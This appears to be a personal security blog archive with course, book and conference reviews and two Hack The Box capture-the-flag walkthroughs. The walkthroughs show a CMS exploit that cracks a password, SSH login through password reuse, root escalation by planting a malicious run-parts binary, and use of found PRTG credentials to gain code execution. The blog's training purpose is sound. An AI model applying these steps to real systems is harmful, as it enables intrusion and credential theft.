Review: Effective Information Security Writing

Writing good reports is in my opinion one of the most import tasks for people who work in security, no matter if pentesting, forensics or other topics. The report is the final product of your work, it is leaving an impression even after some time and it represents your company, your department and yourself. Unfortunately some people underestimate this topic.

But there is a course with great content: Effective Information Security Writing by Chris Sanders.

Course Syllabus:
* Module 1: Telling a Story
* Module 2: Writing Penetration Testing Reports
* Module 3: Forensic Writing
* Module 4: Most Common Writing Mistakes

The price is pretty fair, 97$ at the time of this writing. Even folks who don’t like to write reports gave me great feedback, and for myself I can highly recommend it. It takes about 6-8h for going through, you have access to forums and in the end you get a certificate of completion. Although writing lot’s of reports over the past years I got some great new ideas for imrovement.

More about that topic:

Review Pentester Academy and AttackDefense Labs

Hello All, this is a review of Pentest Academy and AttackDefense Labs. The content is really huge:

Screenshot from:

So it is not possible to review all of it, this post is just meant to give a rough overview and some examples.

Pentester Academy

As said before, in the courses sections are 40+ courses available. The topics include for example (all from a security perspective, but some are also from a defenders viewpoint): Python, ADS, shellcoding (I made SLAE 2015, helped me also with my OSCE certification), Javascript, web app pentesting, some forensics topics, WiFi and network pentesting, exploitation and much more.

For a complete overview have a look here.

Currently I started the course Traffic Analysis: Tshark unleashed, so this is the short example for this post.

Screenshot from the Tshark course.

What comes really handy is that you can just start the labs in the AttackDefense labs, so you don’t need to setup own VMs only for following the courses:

Screenshot from one of the Traffic Analysis: Tshark unleashed course

What is also great, you can download the videos, so you can also watch them later.

As far as I can say, all the videos are suitable more or less for beginners.

AttackDefense Labs

The labs include a huge amount of topics, including: Webapps, MSF, Pivilege Escalation, Eploiting, Wi-Fi, Forensincs, Reversing, Cracking, Python and so on. Some labs include a small task, but others include for example full blown webapps like juiceshop.

Some examples from the Wab Apps labs.

In this case there was a small issue (for me), the labs are timing out after some time, which might be a bit annoying when having a full web app. For the smaller labs I never had problems.

As advanced labs there are also some CTF style labs available.

Verifiable Badges

With verifiable badges it is possible to verfiy your knowlege to an external source, as I did here:

“The holder of this badge has successfully completed the Network Pentesting challenge exercises in Pentester Academy’s AttackDefense labs. These challenge exercises test a practical understanding of how to perform remote network reconnaissance of various infrastructure components.”

As far as I could see all badges have three small challenges where you have to find flags (like a small CTF), badges are available for lot’s of topics (19 badges are available at the time of this writing) and most of them can be done after you viewed and worked through the courses.


It is also possible to take certification exams (like the SLAE):

This way it is possible to take exams from pentestacademy (if you subscribed) without buying the whole course.

Pricing at time of this writing


My conclusion after using it for myself and speaking to some folks who also using it:

  • it is affordable
  • the content is huge
  • the courses are a great resource espeacially for beginners
  • courses and labs suite for attackers and defenders
  • I like the badges

For me Pentester Academy and AttackDefense Labs is highly recommended.


Hackthebox writeup

Yes, the machine itself is called writeup. My first step was running nmap:

 # nmap
Starting Nmap 7.70 ( ) at 2019-07-03 21:54 CEST
Nmap scan report for
Host is up (0.021s latency).
Not shown: 998 filtered ports
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 4.74 seconds

# nmap -A -p 22,80
Starting Nmap 7.70 ( ) at 2019-07-03 22:06 CEST
Nmap scan report for
Host is up (0.022s latency).

22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
|   2048 dd:53:10:70:0b:d0:47:0a:e2:7e:4a:b6:42:98:23:c7 (RSA)
|   256 37:2e:14:68:ae:b9:c2:34:2b:6e:d9:92:bc:bf:bd:28 (ECDSA)
|_  256 93:ea:a8:40:42:c1:a8:33:85:b3:56:00:62:1c:a0:ab (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Nothing here yet.
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (92%), Linux 3.12 (92%), Linux 3.13 (92%), Linux 3.13 or 4.2 (92%), Linux 3.16 (92%), Linux 3.16 - 4.6 (92%), Linux 3.18 (92%), Linux 3.2 - 4.9 (92%), Linux 3.8 - 3.11 (92%), Linux 4.2 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
1   20.28 ms
2   20.47 ms

OS and Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 13.40 seconds 

More info gathering of the web service

As you can see CMS Made Simple is being used.

Exploitation of the website

After digging around a bit with sqlmap and Burp without success I searched for an exploit, and voila:

The exploit was also able to crack, so I used rockyou.txt as a wordlist:

# python -u -c -w ./rockyou.txt

[+] Salt for password found: 5a599ef579066807
[+] Username found: jkr
[+] Email found: jkr@writeup.htb
[+] Password found: 62def4866937f08cc13bab43bb14e6f7
[+] Password cracked: raykayjay9 

Login to cms is protected with a .htaccess file, creds are not valid here. Good that there is a thing called password re-use.

User flag

But ssh worked with the creds:

# ssh jkr@
jkr@'s password:
Linux writeup 4.9.0-8-amd64 x86_64 GNU/Linux

The programs included with the Devuan GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Jul  4 14:51:59 2019 from
jkr@writeup:~$ ls
pspy64s user.txt
jkr@writeup:~$ cat user.txt

So user flag was done…

Root flag

For escalating to root I first used exploit suggester and tried the exploits, but without success.

So I did some research and came across a tool called pyspy. For transfering the file I used apache and wget.

jkr@writeup:/tmp$ ./pspy64
root      2456  0.0  0.6 108644  6940 ?        Ss   15:10   0:00 sshd: jkr [priv]
root      2468  0.0  0.0   4276   756 ?        S    15:10   0:00 sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/
root      2469  0.0  1.0  40364 10348 ?        S    15:10   0:00 /usr/bin/python /usr/local/bin/run-parts --lsbsysinit /etc/update-motd.d
root      2470  0.0  0.0   4276   732 ?        S    15:10   0:00 /bin/sh -i 

What does that mean? run-parts is executing all files in /usr/local/bin/run-parts. If we can put a file here we win.

The file looks like:

cat /root/root.txt >> /tmp/.testing

Then it is straight forward:

jkr@writeup:/tmp$ vi /usr/local/sbin/run-parts
jkr@writeup:/tmp$ chmod +x  /usr/local/sbin/run-parts
jkr@writeup:/tmp$ ls -al
total 4380
drwxrwxrwt  2 root root    4096 Jul  7 16:30 .
drwxr-xr-x 22 root root    4096 Apr 19 07:31 ..
-rw-r--r--  1 root root      33 Jul  7 16:30 .testing
jkr@writeup:/tmp$ cat .testing

And that was it :).

Usefull add-ons for Webapp Pentesting and Bug Bounty

So here is just a very short one. Always when I have to set up a new pentest machine, I have to look it up again, so here is a small list of browser addons that are usefull for webapp pentesting (using Firefox):

  • wappalyzer
  • Temp Mail
  • Hackbar Quantum
  • retire.js
  • Foxy Proxy Basic
  • Export Cookies

Book review: Real-World Bug Hunting

One of the good things about Defcon is that there is a No Starch Press store at the vendors area. 

So I bought it for the flight, but it took a bit longer until I was through the book.

The book has 20 chapters, starting with Bug Bounty Basics. The next 17 chapters go through different classes of vulnerabitlites like XSS, SQLi, memory corruption, CSRF and so on.

After an explanation of the vulnerabilty itself, real reports are also included with further hints. At the end of each chapter the reader can find useful takeaways.

The last two chapters are not about bugs, one is about finding bugs in general, including some descriptions for tactics and tools. The last chapter is about writing a good report, communication to the companies and how to deal with the different programmes, which seems very useful to me.

Real-World Bug Hunting is helping to maximaize payouts and finding more bugs. It shows up lots of attack vectors and creative way for exploing them.

The book is not for beginners. I recommend to have a look at the recommendations list, the bug bounty beginners and the penetration tester basics articles for more resources.

Real-World Bug Hunting: A Field Guide to Web Hacking
Author: Peter Yaworski
Content: A very practical guide to bug hunting and bug bounties
Career: Penetration Tester, Bug Bounty
Level: Beginner, Intermediate

Review Threatcon & Offensive HTML, SVG, CSS & Other Browser-Evil

End of August I travelled from Germany to far away Kathmandu in Nepal for visiting threatcon and the browser security workshop by Mario Heiderich and the beautiful country. Here is a short review.

Browser Security Workshop

With the conference I booked the 2 days workshop Offensive HTML, SVG, CSS & Other Browser-Evil. The covered topics:

  • History of browser security and the browser market
  • Defense 101
  • XSS
  • URL obfuscation
  • Unicode, character sets
  • Breaking Filters (WAF)
  • IE/Edge compatibility modes
  • mXSS

The presentation includes 255 slides, so in 2 days it was not possible to cover everything, also there was no time for the hands-on parts. XSS is not the big topic anymore, but I was happy I can fresh up my knowlege and also learned some new stuff.

The Conference

The conference was one day with a single track, so contrary to Blackhat & Defcon everything was clearly arranged. On the speaker list were Mario Heiderich, Jim Manico, Georgia Weidman, Vignesh, Yogesh Ojha, Aniruddha Dolas and Prashant Tilekar, you may see some familiar names here.

Between the presentations there was lot of time for networking and discussions, with the business pass I also joint the evening event which came with great drinks & food.

For me the best at conferences, of course, is the networking part. It was a great pleasure to meet and connect with new people and friends.

When you are new to IT security I highly recommend to visit smaller and local conferences if possible, it is much easier to connect and to visit.

Thanks to the organizers of threatcon for a great event.

Visiting Nepal

After the conference I took four days for traveling and sightseeing, this is just a very small impression (I made >1000 shots). I travel a lot, and this was one of the most impressive experiences I’ve had.

Review Black Hat & Defcon 2019

Black Hat

Black Hat is a pretty commercial conference, tickets for two days cost more than 2000$, if you want to attend the briefings. There are also trainings, costs vary and are much higher. The content qualitiy is usually very high, the attendees vary from consultants, CISOs, developers, and all kind of IT security professionals. There is a big crowd with about 17000 attendees in 2017.

The Black Hat is being held at the Mandalay Bay.

The briefings are picked by a review board in a call for papers process. Researchers present their top work, often campaigned weeks before the conference. 
In the business halls all kind of vendors are present and giving away loads of swag for attendees and also throwing parties. 


Black Hat USA 2019 Keynote: Every Security Team is a Software Team Now by Dino Dai Zovi


I am mainly at the Black Hat for the Arsenal. It is a great opportunity for developers to present their work at booths that are also located at the business hall. For the last three years I could thankfully present AVET (AntiVirus Evasion Tool), which is giving presenters a briefings pass. The tools are also picked by a review board.

A short thread


Defcon is the “real” hacker event in Vegas and is completly different as Black Hat (although both have the same founder). Black Hat and Defcon overlap one day, Defcon is four days. Costs for 2019 were 300$, qualitiy of the talks is also high and more fun might be included (like talks about phreaking). More offensive security stuff seems to be included here.

This year the event was spread over four hotels including four presentation tracks, several villages (areas with talks and hands-on for several topics), parties, CTFs, movies and so on. It was said that about 30000 people attended defcon in 2019, so everything was pretty crowded and also a bit confusing. Walking between the different spots can take between 10-20 minutes.

Defcon is meant to be a hacker con, which is true. Also, there is a strong drinking culture present, fist time speakers must drink a shot (and attendees demand it loudly).

There is also a media server which is worth a look.


If you have the chance to attend Black Hat/Defcon you should give it a try. It is great to connect and develop your skills and I have met some great people and made new friends.
For people who want to advance their career it is definetly great, but if it is your first conference you might consider to go to a smaller event. The atmosphere in Las Vegas is somewhat special, with the hotels, the casinos and the tourists around.

More free Pentesting resources

While I wrote the articles about how to start a pentesting career I came accross more great resources that I did not mention before, so here they are. Most of it is hands-on :).

The Complete Beginner Network Penetration Testing Course for 2019

CTP/OSCE Prep – Wrapping Up Our Prep
Article with OSCE resources.

Web Application Exploits and Defenses
Online Webapp hacking.

XSS challenges
Online XSS challenges.

XXE Lab for downloading and hacking.

Root Me
Hacking challenges online.

Crypto hacking CTF.

RingZer0 CTF

Damn Vulnerable Web Application (DVWA)
Vulnerable weeb hacking VM (download).

List of the free Webapp hacking excercises.

Link List with more CTFs and excercises

Kali Training

Loads of challenges and VMs (downloads).

Book review The Hacker Playbook 3

The Hacker Playbook 3
Authors: Peter Kim
Content: Main focus is on Red Teaming
Career: Penetration Tester
Level: Intermediate, Expert

This week I did read the great book The Hacker Playbook 3 by Peter Kim. The focus of the book lies on Red Teaming, it makes sense to read also the first two books if you do not have prior knowledge to penetration testing.


  • Difference between pentesting and red teaming
  • MITRE ATT&CK framework
  • Tools setup
  • Reconnaissance phase
  • optional lab setup & exercises
  • about web attacks like node.js, nosql injections, deserializiation attacks and more
  • hacking the (windows) network for example with responder, password spraying
  • privilege escalation with misconfigured services, exploit suggester and more
  • mimikatz magic of course
  • attacks on macs with empire
  • bloodhound and sharphound
  • lateral movement using different techniques
  • pivoting
  • social engineering campaings & physical attacks
  • recompile meterpreter dlls for avoiding detection
  • password cracking
  • write your own droppers

I highly recommend this book, especially if you are into Red Teaming it is a good resource. Maybe a report about owing the Cyber Space Kittens lab would have been nice, since reporting in Red Teaming is a non trivial task.

Write-up hackthebox netmon

After the getting started article, here is a walkthrough for hackthebox netmon, to get an impression how to pwn machines. This was a nice one and I guess one of the the easier.


Nmap 7.70 scan initiated Thu May 23 21:38:11 2019 as: nmap -A -oA netmon
Nmap scan report for
Host is up (0.043s latency).
Not shown: 995 closed ports
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 02-03-19 12:18AM 1024 .rnd
| 02-25-19 10:15PM inetpub
| 07-16-16 09:18AM PerfLogs
| 02-25-19 10:56PM Program Files
| 02-03-19 12:28AM Program Files (x86)
| 02-03-19 08:08AM Users
|02-25-19 11:49PM Windows | ftp-syst: | SYST: Windows_NT
80/tcp open http Indy httpd (Paessler PRTG bandwidth monitor)
|_http-server-header: PRTG/
| http-title: Welcome | PRTG Network Monitor (NETMON)
|_Requested resource was /index.htm
|_http-trane-info: Problem with XML parsing of /evox/about
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
No exact OS matches for host (If you know what OS is running on it, see ).
TCP/IP fingerprint:
Network Distance: 2 hops
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|clock-skew: mean: 11s, deviation: 0s, median: 10s | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported | message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2019-05-23 21:38:48
|_ start_date: 2019-05-23 21:34:54
TRACEROUTE (using port 1723/tcp)
1 54.00 ms
2 54.08 ms
OS and Service detection performed. Please report any incorrect results at .
Nmap done at Thu May 23 21:38:40 2019 -- 1 IP address (1 host up) scanned in 29.10 seconds

Connect via FTP

The user hash is easily found:

Now we have a look at the running web server. A PRTG instance is running here. After some searching the web it was clear that this might be a vulnerable version of PRTG ( No login with std creds (prtgadmin/prtgadmin) possible…

But we have the FTP server, which gives us some infomation:Some interesting stuff in the windows dir:

Here the credentials are encrypted. Some research show that in older versions that might be a problem (TODO, link). So I spent some time in finding valid credentials.

Also in c:\windows:

c:\ProgrammData is hidden but can be seen if you access it directly:

Get netmon prtgadmin credentials:

Something interesting in PRTG Configuration.old.bak:

After some trying I found out that the new password was: PrTg@admin2019, so this is something you have sometimes in real life, finding some credentials but still need to try around a bit. Then I followed mostly this description of the vulnerability:

Add a notification:

Leave defaults and choose “Execute Program” with the following settings:

Success, we can now get the hash from the test,txt file:

Pwnd! What I liked on this machine was that you needed to combine vulnerabilities. First find the credentials, then alter them to the working credentials. After that you had RCE.